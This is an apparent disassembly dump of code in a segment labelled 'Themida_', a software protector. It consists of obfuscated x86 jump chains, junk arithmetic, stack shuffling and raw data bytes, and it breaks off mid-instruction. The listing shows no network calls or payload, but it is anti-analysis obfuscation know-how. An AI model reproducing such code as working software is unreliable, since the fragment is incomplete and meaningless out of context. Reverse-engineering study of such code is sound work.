--------------------------------------------------------------------------- loc_5ADFE3: ; CODE XREF: Themida_:005A90ADj push edx mov edx, ebx mov ebp, edx pop edx mov esi, ebp pop ebp mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] jmp loc_5AD1AC ; --------------------------------------------------------------------------- loc_5AE006: ; CODE XREF: Themida_:005A104Fj sub bl, dl push small 13D0h jmp loc_59E91F ; --------------------------------------------------------------------------- loc_5AE011: ; CODE XREF: Themida_:00599977j push ecx push 63BC0AFCh pop ecx and ecx, 279165B0h ja loc_5AAE39 sub ecx, 6572E18h and al, 5Ch add al, 0A4h loc_5AE02E: ; CODE XREF: Themida_:0059B072j or dl, 5 dec dl sub dl, 66h shr dl, 3 jmp loc_5A44AD ; --------------------------------------------------------------------------- loc_5AE03E: ; CODE XREF: Themida_:005AB810j neg edx jmp loc_5A600A ; --------------------------------------------------------------------------- byte_5AE045 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005988C8o dd 0E9240C8Bh, 0FFFEFE33h ; --------------------------------------------------------------------------- loc_5AE050: ; CODE XREF: Themida_:005998A2j ; Themida_:005A425Bj add edi, esi pop esi jmp loc_5A36E1 ; --------------------------------------------------------------------------- loc_5AE058: ; CODE XREF: Themida_:005A7615j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AE05D: ; CODE XREF: Themida_:0059F1A7j neg al shr al, 2 add al, 0C4h sub bl, 4Ch add bl, al jmp loc_5A0904 ; --------------------------------------------------------------------------- dw 0B951h dd 507E10D9h, 0FF9450E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AE079: ; CODE XREF: Themida_:005AF1EAj mov ebx, esp jmp loc_5AB036 ; --------------------------------------------------------------------------- loc_5AE080: ; CODE XREF: Themida_:005ABA49j pop esp mov [esp], esi jmp loc_5AD5DB ; --------------------------------------------------------------------------- loc_5AE089: ; CODE XREF: Themida_:005AE34Ej mov ebp, 39C513D1h add eax, ebp pop ebp add eax, edx jmp loc_59994C ; --------------------------------------------------------------------------- loc_5AE098: ; CODE XREF: Themida_:0059D07Bj mov edi, [esp] add esp, 4 sub eax, 64AD591Ah jmp loc_5A7D69 ; --------------------------------------------------------------------------- dd 81243C89h, 4ECh, 4DFE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AE0B6: ; CODE XREF: Themida_:0059AB31j sub al, 3Bh pop cx sub al, bh push edx mov dl, 3Ch or dl, 6Eh add dl, 93h jmp loc_5A5AD9 ; --------------------------------------------------------------------------- loc_5AE0CA: ; CODE XREF: Themida_:loc_5AD982j or edx, 70C40D50h jnz loc_5A7458 add edx, 0C92032E3h mov dh, bh mov dl, 0A1h push eax push esp jmp loc_5A6D7C ; --------------------------------------------------------------------------- db 5Fh dd 4246C01h, 24148B5Dh, 5704C483h, 0FF3711E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AE0F9: ; CODE XREF: Themida_:005ACE68j or eax, 11AB5481h neg eax shr eax, 7 xor eax, 1002150h add edi, 57731FFAh add edi, eax jmp loc_5A4D49 ; --------------------------------------------------------------------------- loc_5AE115: ; CODE XREF: Themida_:005AC256j add ebp, 600660AAh jmp loc_5A87CE ; --------------------------------------------------------------------------- loc_5AE120: ; CODE XREF: Themida_:005ADFDEj pop esp add esp, 4 xor edx, 0F03202Bh jmp loc_5A0844 ; --------------------------------------------------------------------------- loc_5AE132: ; CODE XREF: Themida_:005A7575j add esi, ebx mov ebx, [esp] add esp, 4 jmp loc_59BB9E ; --------------------------------------------------------------------------- loc_5AE13F: ; CODE XREF: Themida_:005AB053j mov dh, 0 jmp loc_5AF60A ; --------------------------------------------------------------------------- dw 0E681h dd 202F34D4h, 0BBB88D0Fh, 0EE81FFFFh, 6B604F99h, 0DDD28B0Fh db 2 dup(0FFh), 5Dh ; --------------------------------------------------------------------------- loc_5AE15F: ; CODE XREF: Themida_:005A7E5Dj push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop ebx add esp, 4 push 465h mov [esp], edx mov edx, 4 add ebx, edx push dword ptr [esp] pop edx add esp, 4 sub esp, 4 mov [esp], edi push 799216CCh jmp loc_598D01 ; --------------------------------------------------------------------------- loc_5AE19A: ; CODE XREF: Themida_:005A0908j mov ecx, [esp] add esp, 4 movzx eax, al jmp loc_5ABD28 ; --------------------------------------------------------------------------- loc_5AE1AB: ; CODE XREF: Themida_:005A3421j mov edi, [esp] jmp loc_5AC229 ; --------------------------------------------------------------------------- loc_5AE1B3: ; CODE XREF: Themida_:005A88FEj jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AE1B8: ; CODE XREF: Themida_:005AF3F6j mov edx, [esp] add esp, 4 xor edi, 7D572E95h sub edi, 1 add edi, 7A0D79D0h dec edi jmp loc_59FB9C ; --------------------------------------------------------------------------- loc_5AE1D6: ; CODE XREF: Themida_:0059CDCDj push ebp mov ebp, 53223355h sub ebp, 4CB448B0h push edx mov edx, 562E4726h jmp loc_59B116 ; --------------------------------------------------------------------------- loc_5AE1ED: ; CODE XREF: Themida_:005A5C52j sub esi, ecx push dword ptr [esp] pop ecx add esp, 4 jmp loc_5A1589 ; --------------------------------------------------------------------------- loc_5AE1FB: ; CODE XREF: Themida_:005AA48Bj mov edi, esp jmp loc_59AFFD ; --------------------------------------------------------------------------- word_5AE202 dw 8B66h ; DATA XREF: Themida_:005987ACo dd 0EC812404h, 4, 0E9242C89h, 0FFFF822Dh ; --------------------------------------------------------------------------- loc_5AE214: ; CODE XREF: Themida_:005A38CDj add esi, 4 push ecx jmp loc_5A6E75 ; --------------------------------------------------------------------------- loc_5AE220: ; CODE XREF: Themida_:005A467Bj mov esp, [esp] mov ax, [esp] push 5BE3h mov [esp], ebx push esp pop ebx push eax push edx mov edx, 4E7D040Dh mov eax, edx pop edx jmp loc_5A21A0 ; --------------------------------------------------------------------------- loc_5AE240: ; CODE XREF: Themida_:005AB627j mov ebx, 4A20079Eh neg ebx dec ebx add ebx, 353353A6h shr ebx, 8 jmp loc_5A0D1A ; --------------------------------------------------------------------------- word_5AE256 dw 31ADh ; DATA XREF: Themida_:00598808o dd 0BD25E9D8h, 0C8BFFFEh, 0DB18E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AE266: ; CODE XREF: Themida_:005AEDF7j mov edi, 4 add esi, edi pop edi jmp loc_5A3A11 ; --------------------------------------------------------------------------- loc_5AE273: ; CODE XREF: Themida_:0059E4F1j ; Themida_:0059F1D2j ... sub esp, 4 mov [esp], esi push 5DCh mov [esp], ebx jmp loc_5A0389 ; --------------------------------------------------------------------------- loc_5AE286: ; CODE XREF: Themida_:005A801Aj sub esp, 4 mov [esp], esi push edi jmp loc_598DB5 ; --------------------------------------------------------------------------- loc_5AE292: ; CODE XREF: Themida_:0059ED60j dec edx jo loc_59F44C jmp loc_5A342F ; --------------------------------------------------------------------------- loc_5AE29E: ; CODE XREF: Themida_:0059BFB0j mov esi, [esp] add esp, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp xor ebp, [esp] jmp loc_59F74A ; --------------------------------------------------------------------------- loc_5AE2B6: ; CODE XREF: Themida_:005A5F9Bj sub edx, edi add edx, 1BA96206h jmp loc_5A402F ; --------------------------------------------------------------------------- loc_5AE2C3: ; CODE XREF: Themida_:loc_5A2018j ; Themida_:005A958Aj mov [esp], ecx mov ecx, 6642669Ch add ebp, ecx pop ecx push dword ptr [esp] pop esi jmp loc_5AB805 ; --------------------------------------------------------------------------- db 5Dh dd 0FF3944E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AE2DD: ; CODE XREF: Themida_:005A6311j mov [esp], ebx jmp loc_59F030 ; --------------------------------------------------------------------------- db 0BEh, 23h, 7Fh dd 0EE81359Eh, 1C3B1223h, 61DC681h, 0F0290085h, 5F0015Eh dd 19E8731Dh, 5B08D62Dh, 0EBE95E6Ch db 59h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AE30B: ; CODE XREF: Themida_:005A0A5Ej jmp loc_59CA30 ; --------------------------------------------------------------------------- loc_5AE310: ; CODE XREF: Themida_:005A992Bj pop ebx pop eax pop ecx mov dword ptr [edx+38h], 3B981447h push eax jmp loc_5A2F23 ; --------------------------------------------------------------------------- dd 840FDFF7h, 0FFFFE4E6h, 72AFCF81h, 31E94CF0h db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AE333: ; CODE XREF: Themida_:005A683Ej pop esp push ebx mov ebx, 3E2A0166h push 65F8h mov [esp], edx mov edx, 15977433h xor edx, 25785A97h push ebp jmp loc_5AE089 ; --------------------------------------------------------------------------- loc_5AE353: ; CODE XREF: Themida_:005AD2AAj mov cl, 83h add cl, 5Eh jmp loc_5A25EB ; --------------------------------------------------------------------------- db 50h, 0B8h, 8Ch dd 0F751062Ah, 71D505D8h, 7105525Eh, 1F994BAh, 0DE0158C3h dd 4EC835Bh, 0E9240C89h, 0FFFFC110h ; --------------------------------------------------------------------------- loc_5AE380: ; CODE XREF: Themida_:005A09D0j pop ecx xor eax, edx jmp loc_5AF05B ; --------------------------------------------------------------------------- dword_5AE388 dd 240C8B66h, 6E4E68h, 240C8900h, 0C181E189h, 4, 4E981h ; DATA XREF: Themida_:005986E8o dd 0C870000h, 0D758E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AE3AA: ; CODE XREF: Themida_:005A60BEj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push 3EC0h jmp loc_59F2B4 ; --------------------------------------------------------------------------- loc_5AE3C0: ; CODE XREF: Themida_:loc_59ED73j shr edi, 7 jp loc_5AA34C sub edi, 88F251h jmp loc_5A0A4E ; --------------------------------------------------------------------------- loc_5AE3D4: ; CODE XREF: Themida_:005AB614j not eax xchg eax, ebx push esi jmp loc_5AF175 ; --------------------------------------------------------------------------- loc_5AE3DD: ; CODE XREF: Themida_:0059C34Cj xchg edx, [esp] pop esp add ebp, ebx mov ebx, [esp] jmp loc_59DF68 ; --------------------------------------------------------------------------- db 58h dd 0FF7749E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AE3F1: ; CODE XREF: Themida_:005A050Cj sub esi, edx pop edx add esi, ebp add esi, 0B536671h sub esi, 45261EC8h sub esi, 35C14C00h pop ebp and ecx, esi mov esi, [esp] add esp, 4 shr ecx, 6 push ebp push 6225h jmp loc_5A4AD1 ; --------------------------------------------------------------------------- loc_5AE422: ; CODE XREF: Themida_:005AA7A9j sub ebp, 78EE43F9h jmp loc_5A2649 ; --------------------------------------------------------------------------- loc_5AE42D: ; CODE XREF: Themida_:005A22B0j sub dword ptr [esp], 4C1D1448h mov ebp, [esp] add esp, 4 add ebp, 4C1D1448h pop esi mov edi, [esp] add esp, 4 jmp loc_599863 ; --------------------------------------------------------------------------- loc_5AE44F: ; CODE XREF: Themida_:005AADC8j mov ebx, 4E1B3B94h mov eax, ebx pop ebx shr eax, 2 and eax, 37305A5Eh jmp loc_5AF50C ; --------------------------------------------------------------------------- loc_5AE464: ; CODE XREF: Themida_:0059BF34j push edx sub dword ptr [esp], 172F75F1h pop ecx add ecx, 172F75F1h pop edx and ecx, 74D56A9h or ecx, 441371FBh push 4D09h mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_59F6D8 ; --------------------------------------------------------------------------- loc_5AE497: ; CODE XREF: Themida_:0059A55Dj sub edi, 280B4690h jns loc_5994BB xor edi, 5616CA1Bh or esi, edi pop edi mov edi, edi loc_5AE4AE: ; CODE XREF: Themida_:0059EA70j mov ebx, 18D44E3Dh shl ebx, 3 and ebx, 20D31A4Dh push eax mov eax, 49472A9Dh jmp loc_59AA5E ; --------------------------------------------------------------------------- db 5Eh dd 0F66B8E2Dh, 0E9D0016Ch, 0FFFED5CCh, 24048F59h, 8B24248Bh dd 8952240Ch, 4C281E2h, 83000000h, 0FF5204EAh, 5A042474h dd 5C24048Fh, 0E9240C89h, 0FFFF078Ah ; --------------------------------------------------------------------------- loc_5AE4FC: ; CODE XREF: Themida_:005A0E3Aj xchg ebx, [esp] mov esp, [esp] jmp loc_5A4DE1 ; --------------------------------------------------------------------------- loc_5AE507: ; CODE XREF: Themida_:00599A0Dj push edi mov edi, 4 mov ebp, edi pop edi sub eax, 39431564h add eax, ebp push ecx jmp loc_5A1E0E ; --------------------------------------------------------------------------- loc_5AE51D: ; CODE XREF: Themida_:005A3734j add eax, ecx mov ecx, [esp] add esp, 4 push edx mov edx, 40CB29E6h not edx jmp loc_599D79 ; --------------------------------------------------------------------------- loc_5AE535: ; CODE XREF: Themida_:005A6C21j push 45F6h mov [esp], edx push ebp push 263C705Dh pop ebp xor ebp, 791469A7h dec ebp jno loc_5A8DD8 jmp loc_5A60DD ; --------------------------------------------------------------------------- dw 315Eh dd 0EE0BE9CFh, 0D88BFFFFh ; --------------------------------------------------------------------------- loc_5AE560: ; CODE XREF: Themida_:005AE594j mov ebp, 14807AAh neg ebp jp loc_598C6E inc ebp neg ebp xor ebp, 2D0917B7h push esp loc_5AE577: ; CODE XREF: Themida_:005A951Cj add esp, 4 jmp loc_5AC353 ; --------------------------------------------------------------------------- loc_5AE582: ; CODE XREF: Themida_:005A2568j mov [esp], edx sub esp, 4 mov [esp], esi mov esi, 4B06451Ah push ebp jmp loc_5AE560 ; --------------------------------------------------------------------------- loc_5AE599: ; CODE XREF: Themida_:005AA075j add esp, 4 mov ebx, [esp] add esp, 4 push ebp push esi push 39D1753Ah jmp loc_5A74EA ; --------------------------------------------------------------------------- loc_5AE5AE: ; CODE XREF: Themida_:005AF8B9j sub eax, 23D310EAh sub eax, edx add eax, 23D310EAh sub eax, 53B043BAh mov edx, [esp] add esp, 4 add ebp, eax push dword ptr [esp] mov eax, [esp] push eax jmp loc_59D763 ; --------------------------------------------------------------------------- loc_5AE5D3: ; CODE XREF: Themida_:005A5231j push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 push esi mov esi, esp jmp loc_5A4D7D ; --------------------------------------------------------------------------- loc_5AE5E5: ; CODE XREF: Themida_:005A0239j and eax, 75D433C7h xor eax, 592C1060h jmp loc_5AC439 ; --------------------------------------------------------------------------- loc_5AE5F4: ; CODE XREF: Themida_:005A74C4j mov esp, [esp] push ebp sub esp, 4 mov [esp], esp jmp loc_5A568F ; --------------------------------------------------------------------------- loc_5AE603: ; CODE XREF: Themida_:005AD02Ej mov edx, esp add edx, 4 sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], edi mov edi, 4 add ebx, edi pop edi push edx mov edx, 6E88297Bh sub esp, 4 mov [esp], eax jmp loc_59AC30 ; --------------------------------------------------------------------------- loc_5AE639: ; CODE XREF: Themida_:005A390Aj mov esp, [esp] idiv cl jmp loc_59C621 ; --------------------------------------------------------------------------- loc_5AE643: ; CODE XREF: Themida_:005AC373j push dword ptr [esp+4] push dword ptr [esp] pop ecx add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_599340 ; --------------------------------------------------------------------------- loc_5AE65C: ; CODE XREF: Themida_:0059DE0Fj sub esi, 6CDC5209h add esi, eax add esi, 6CDC5209h jmp loc_5A585F ; --------------------------------------------------------------------------- db 89h dd 0F2015BDEh, 5E2434FFh, 34FF5455h, 0E9555D24h, 0FFFFCBC5h dd 0C231D031h, 0D4BE5651h, 89918A92h, 24348BF1h, 3104C483h dd 0CAB3E9CAh, 0CD68FFFEh, 8900003Dh, 5DB9240Ch, 8154C234h dd 352D46C9h, 0E08F0F5Bh, 81FFFFB4h, 73484AE1h, 0B579E91Bh dd 0C481FFFFh, 4, 0E902C083h, 0FFFEBD49h, 4DB95156h, 815BE656h dd 0FB4D98E9h, 0A45EE93Ch, 34FFFFFFh, 2434FF24h, 4C4815Dh dd 81000000h, 4C4h, 74FF5300h, 0E95B0424h, 0FFFF1719h ; --------------------------------------------------------------------------- loc_5AE700: ; CODE XREF: Themida_:0059A10Ej mov esi, [esp] add esp, 4 shl ebx, 4 jmp loc_5AC14D ; --------------------------------------------------------------------------- dw 0EE81h dd 4F8C5174h, 0FF2D02E9h, 0C8F68FFh, 0C890000h, 158AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5AE726: ; CODE XREF: Themida_:005995AFj mov edi, eax pop eax and edi, 5D9D6050h jmp loc_59FE9A ; --------------------------------------------------------------------------- loc_5AE734: ; CODE XREF: Themida_:005AAC06j mov ebx, [esp] add esp, 4 jmp loc_5A87E2 ; --------------------------------------------------------------------------- loc_5AE73F: ; CODE XREF: Themida_:005A7227j xor ecx, edx pop edx jmp loc_5A4B0D ; --------------------------------------------------------------------------- loc_5AE747: ; CODE XREF: Themida_:005A45BDj and edx, 6AAF69CDh shl edx, 1 push eax mov eax, 313226B5h sub edx, eax jmp loc_5AB52D ; --------------------------------------------------------------------------- loc_5AE75C: ; CODE XREF: Themida_:005A5AC1j mov cl, bh pop ebx jmp loc_599BE5 ; --------------------------------------------------------------------------- dd 8F04C483h, 248B2404h, 24042124h, 4C8BE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AE776: ; CODE XREF: Themida_:005A1265j xchg edx, [esp] pop esp xchg ebp, [esp] mov esp, [esp] jmp loc_5AEC82 ; --------------------------------------------------------------------------- loc_5AE785: ; CODE XREF: Themida_:005A49B4j push eax jmp loc_5AA161 ; --------------------------------------------------------------------------- loc_5AE78B: ; CODE XREF: Themida_:005AA90Cj sub [esp+4], esi jmp loc_5A3BCE ; --------------------------------------------------------------------------- dd 15DEE29h, 0CFC681CEh, 59593B4Dh, 0E49E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5AE7A6: ; CODE XREF: Themida_:005A804Cj mov si, 5B66h inc si jg loc_5A0FE3 sub si, 5B65h mov cx, si jmp loc_5AF768 ; --------------------------------------------------------------------------- db 54h ; --------------------------------------------------------------------------- loc_5AE7C0: ; CODE XREF: Themida_:005A2373j jmp loc_59CFB7 ; --------------------------------------------------------------------------- loc_5AE7C5: ; CODE XREF: Themida_:005AC7D3j add edi, ebx push eax mov eax, 0F515054h or eax, 7FF0DFCh or eax, 53017C44h push esi mov esi, 61E16A5Fh sub esi, 0FE20233Eh inc esi jmp loc_5AACCB ; --------------------------------------------------------------------------- loc_5AE7E9: ; CODE XREF: Themida_:005A0454j pop eax shl eax, 2 sub eax, 4F1B35FEh jmp loc_59FDD6 ; --------------------------------------------------------------------------- byte_5AE7F7 db 8Fh ; DATA XREF: Themida_:0059893Co dd 0A1A5E902h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AE7FE: ; CODE XREF: Themida_:005A364Fj shr al, 5 or al, 80h ja loc_5A51D9 add al, 0E7h mov dl, al jmp loc_5A2230 ; --------------------------------------------------------------------------- dw 0C189h db 89h, 0C8h ; --------------------------------------------------------------------------- loc_5AE816: ; CODE XREF: Themida_:005A7955j push dword ptr [esp] pop ebp jmp loc_5A945E ; --------------------------------------------------------------------------- loc_5AE81F: ; CODE XREF: Themida_:0059CE49j add ebx, 3D1778FBh add ebx, 2D74210Ah add ebx, 37A52391h add ebx, 61D54718h sub ebx, ecx sub ebx, 61D54718h jmp loc_5A4F8E ; --------------------------------------------------------------------------- loc_5AE844: ; CODE XREF: Themida_:005A3DB4j xor ebx, [esp] pop esp cmp cx, ax pushf jmp loc_5A01AB ; --------------------------------------------------------------------------- loc_5AE851: ; CODE XREF: Themida_:005A1298j push edi mov edi, 0AA3FFDh add edx, edi jmp loc_59DC88 ; --------------------------------------------------------------------------- loc_5AE85E: ; CODE XREF: Themida_:005A8AF2j xor dx, si pop esi push ebx push small 2550h jmp loc_59E734 ; --------------------------------------------------------------------------- dword_5AE86C dd 57D831ADh, 0FF06FAE9h, 4B8FFh, 0C5890000h, 9DEA8158h ; DATA XREF: Themida_:0059875Co dd 0E94C4108h, 605h ; --------------------------------------------------------------------------- loc_5AE888: ; CODE XREF: Themida_:005A684Dj jmp loc_5989A3 ; --------------------------------------------------------------------------- db 81h, 0CAh, 49h dd 0F37A224h, 0FF96898Eh, 0AFE1E9FFh, 0DEF7FFFEh, 5681C681h dd 0E98198D3h, 75D10E05h, 0C181F129h, 75D10E05h, 0FCE9815Eh dd 51BC5A84h, 57685958h, 89000043h, 9FBA2414h, 2103C436h dd 0B3055AD0h, 904E819h, 24048BC7h, 0FFA6BAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AE8DD: ; CODE XREF: Themida_:005A2B0Aj add esp, 4 jmp loc_59CA4F ; --------------------------------------------------------------------------- loc_5AE8E5: ; CODE XREF: Themida_:005A5CA8j pop dword ptr [esp] mov esp, [esp] mov [esp], ebx jmp loc_5A761A ; --------------------------------------------------------------------------- loc_5AE8F3: ; CODE XREF: Themida_:00599A85j pop edx sub ebp, 4DDD0D89h add ebp, 45591184h sub ebp, eax sub ebp, 45591184h push ecx mov ecx, 279D114Bh xor ecx, 1254703Eh inc ecx not ecx and ecx, 7E4A0976h add ecx, 17C95910h xor ecx, 1E980C0Eh sub ecx, 31765F95h add ebp, ecx pop ecx pop eax add ebx, ebp pop ebp push esi mov esi, 4 jmp loc_5AA26D ; --------------------------------------------------------------------------- loc_5AE941: ; CODE XREF: Themida_:0059C748j mov [esp], edx jmp loc_59EAC1 ; --------------------------------------------------------------------------- loc_5AE949: ; CODE XREF: Themida_:0059977Aj mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push 23A3h mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 mov ebp, [esp] push 641h mov [esp], eax jmp loc_5AB058 ; --------------------------------------------------------------------------- loc_5AE978: ; CODE XREF: Themida_:0059F004j sub esp, 4 jmp loc_59D09A ; --------------------------------------------------------------------------- loc_5AE980: ; CODE XREF: Themida_:005A22C9j add esp, 4 jmp loc_5A3D24 ; --------------------------------------------------------------------------- loc_5AE98B: ; CODE XREF: Themida_:005ADEA4j pop eax mov ebp, edx pop edx mov ebx, [esp] add esp, 4 sub [edi+24h], ebp push dword ptr [esp] jmp loc_5A545C ; --------------------------------------------------------------------------- loc_5AE9A0: ; CODE XREF: Themida_:0059BA53j jmp loc_5AA487 ; --------------------------------------------------------------------------- loc_5AE9A5: ; CODE XREF: Themida_:0059F23Bj pop edi jmp loc_59DBB3 ; --------------------------------------------------------------------------- loc_5AE9AB: ; CODE XREF: Themida_:005AA5BBj inc esi dec esi shl esi, 3 jmp loc_5A2094 ; --------------------------------------------------------------------------- loc_5AE9B5: ; CODE XREF: Themida_:005A87F7j add edx, ebx push 2516h jmp loc_5A4C83 ; --------------------------------------------------------------------------- loc_5AE9C1: ; CODE XREF: Themida_:00598B27j pop ebx jmp loc_5A8C04 ; --------------------------------------------------------------------------- loc_5AE9C7: ; CODE XREF: Themida_:005A9E2Cj pop ebp xchg edi, [esp] pop esp sub esp, 4 mov [esp], esp push edi mov edi, 4 jmp loc_5ACA79 ; --------------------------------------------------------------------------- db 57h, 0E9h, 7Eh db 4Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AE9E3: ; CODE XREF: Themida_:005A4EB0j mov cl, 0C9h sub cl, bl jmp loc_5A08FE ; --------------------------------------------------------------------------- dd 0E95EF701h, 0FFFF23EBh, 31243433h, 34332434h, 24248B24h dd 2A6868h, 0BAA5E900h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AEA0A: ; CODE XREF: Themida_:0059AB03j add ebx, ecx jmp loc_5A5D17 ; --------------------------------------------------------------------------- loc_5AEA11: ; CODE XREF: Themida_:0059E3C8j ; Themida_:loc_5ADED5j xor edx, eax jmp loc_5989A3 ; --------------------------------------------------------------------------- dd 0C7DE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5AEA1E: ; CODE XREF: Themida_:005990CBj pop dword ptr [esp] mov esp, [esp] movzx ecx, ax push 4DF3h mov [esp], ecx jmp loc_5989A3 ; --------------------------------------------------------------------------- dd 83242489h, 0FF042404h, 20E92434h db 0E1h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AEA43: ; CODE XREF: Themida_:005A44C4j ja loc_59BE73 push ecx push ebp jmp loc_5A1213 ; --------------------------------------------------------------------------- dd 7F24535Eh ; --------------------------------------------------------------------------- loc_5AEA54: ; CODE XREF: Themida_:loc_5ACC0Fj xor ebx, 1C2253A0h jl loc_5AEF08 sub ebx, 17729FB3h mov [edi+20h], ebx jmp loc_5A51D9 ; --------------------------------------------------------------------------- loc_5AEA6E: ; CODE XREF: Themida_:005A92AAj sub eax, ecx jmp loc_5A1A49 ; --------------------------------------------------------------------------- loc_5AEA75: ; CODE XREF: Themida_:005A9653j push eax push ebp jmp loc_5A8C1B ; --------------------------------------------------------------------------- loc_5AEA7C: ; CODE XREF: Themida_:0059E4E2j push edi mov edi, esp jmp loc_59A862 ; --------------------------------------------------------------------------- loc_5AEA84: ; CODE XREF: Themida_:005AAB0Fj sub eax, 2FC40B6Bh jb loc_59FED4 add eax, 0DB8E193Dh mov esi, eax mov eax, [esp] jmp loc_5A90A6 ; --------------------------------------------------------------------------- dw 0EDC1h dd 81DDF702h, 4CFBCBEDh, 7F5B6892h, 4890000h, 390B824h dd 0E8C11890h, 4E8C107h, 0FF51A4E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AEAC1: ; CODE XREF: Themida_:005989B8j push ebx mov ebx, 4 add ebp, ebx jmp loc_5997CF ; --------------------------------------------------------------------------- dw 9A68h dd 8900006Ch, 4BA2414h, 0E9000000h, 0FFFF5AEDh ; --------------------------------------------------------------------------- loc_5AEAE0: ; CODE XREF: Themida_:005AD8C3j mov eax, 7F3804D2h sub eax, 0F335D06h xor eax, 713B3A7Bh add eax, 900C424Ch add edi, eax pop eax and ebp, edi jmp loc_59A90F ; --------------------------------------------------------------------------- dw 0C509h dd 0FEDC32E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AEB05: ; CODE XREF: Themida_:0059DDEEj xor [esp], esi jmp loc_59B3E3 ; --------------------------------------------------------------------------- loc_5AEB0D: ; CODE XREF: Themida_:005A999Dj sub dword ptr [esp], 39CA6F5Eh jmp loc_59DA89 ; --------------------------------------------------------------------------- loc_5AEB19: ; CODE XREF: Themida_:005AAD81j pop edx xor edi, 3BC92D7Dh push ecx jmp loc_5A9D6E ; --------------------------------------------------------------------------- aYJ db ',%Y,J',0 dd 534A04D8h, 0CB80E8B3h, 2E3C0B9h, 0E93FB252h, 0FFFECDE9h dd 4C581h, 0ED830000h, 242C8704h, 2404895Ch, 88F1B652h dd 2434FFF4h, 0FF2FF9E9h db 0FFh byte_5AEB5D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0059881Co aHK db '$hчK',0 align 2 dw 2C89h dd 1FE06824h, 8F540000h, 0BE562404h, 4, 4246C81h, 4A7C6D7Dh dd 4247401h, 4244481h, 4A7C6D7Dh, 0FEC8BFE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AEB91: ; CODE XREF: Themida_:0059D2D3j mov eax, 2EC373FFh mov ebx, eax pop eax or edi, ebx push dword ptr [esp] pop ebx add esp, 4 xor edi, 1C3B0D90h dec edi jmp loc_5A258A ; --------------------------------------------------------------------------- loc_5AEBAE: ; CODE XREF: Themida_:loc_59CBD0j ; Themida_:005A3431j xor ecx, 9CE96EF3h neg ecx xor ecx, 226A0E98h shr ecx, 8 jmp loc_5A706F ; --------------------------------------------------------------------------- loc_5AEBC4: ; CODE XREF: Themida_:005A86C1j sub dword ptr [esp], 56555F3Ah jmp loc_5A71D1 ; --------------------------------------------------------------------------- loc_5AEBD0: ; CODE XREF: Themida_:0059CF5Dj xchg edx, [esp] mov esp, [esp] push ecx mov ecx, esp jmp loc_5A6E47 ; --------------------------------------------------------------------------- loc_5AEBDE: ; CODE XREF: Themida_:loc_59F424j xor ebp, 5410B164h push ebp jmp loc_5ABDC9 ; --------------------------------------------------------------------------- loc_5AEBEA: ; CODE XREF: Themida_:loc_598D97j xor ebx, 0B369F022h mov ecx, ebx jmp loc_5ACF5E ; --------------------------------------------------------------------------- loc_5AEBF7: ; CODE XREF: Themida_:00598DFEj add ebp, 4CBD236Ch add ebp, ebx sub ebp, 4CBD236Ch pop ebx push ebx mov ebx, 4 sub ebp, ebx pop ebx jmp loc_59FFB2 ; --------------------------------------------------------------------------- dd 200CF581h, 8A0F3840h, 0FFFEC3F7h, 32880F45h, 57FFFEA4h dd 5455DD8Bh, 0E924048Bh, 0FFFFC371h, 0E9240C89h, 0FFFEE3B6h ; --------------------------------------------------------------------------- loc_5AEC3C: ; CODE XREF: Themida_:005A9157j shr eax, 2 sub eax, 69C9434Eh add edi, eax pop eax add eax, edi pop edi add eax, 2CC42468h sub eax, 16200E4Eh sub eax, 4DA443A1h sub eax, ecx add eax, 4DA443A1h jmp loc_5A06BB ; --------------------------------------------------------------------------- loc_5AEC65: ; CODE XREF: Themida_:0059BDA5j push ebx loc_5AEC66: ; DATA XREF: Themida_:0058BA31o sub dword ptr [esp], 0D84053Ch mov ecx, [esp] add esp, 4 add ecx, 0D84053Ch pop ebx jmp loc_5A53CB ; --------------------------------------------------------------------------- loc_5AEC82: ; CODE XREF: Themida_:005AE780j add esp, 4 or [esp], eax pushf jmp loc_59D463 ; --------------------------------------------------------------------------- loc_5AEC8E: ; CODE XREF: Themida_:0059B572j mov ebx, 32EE7D04h or ebx, 53D87871h jmp loc_59C7E6 ; --------------------------------------------------------------------------- loc_5AEC9E: ; CODE XREF: Themida_:005AFAABj xchg ebx, [esp] pop esp xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp and ecx, esi jmp loc_5ABA8A ; --------------------------------------------------------------------------- loc_5AECB3: ; CODE XREF: Themida_:0059D525j dec ecx push eax mov eax, 161A4C31h xor ecx, eax pop eax xor eax, ecx push dword ptr [esp] pop ecx push ebx mov 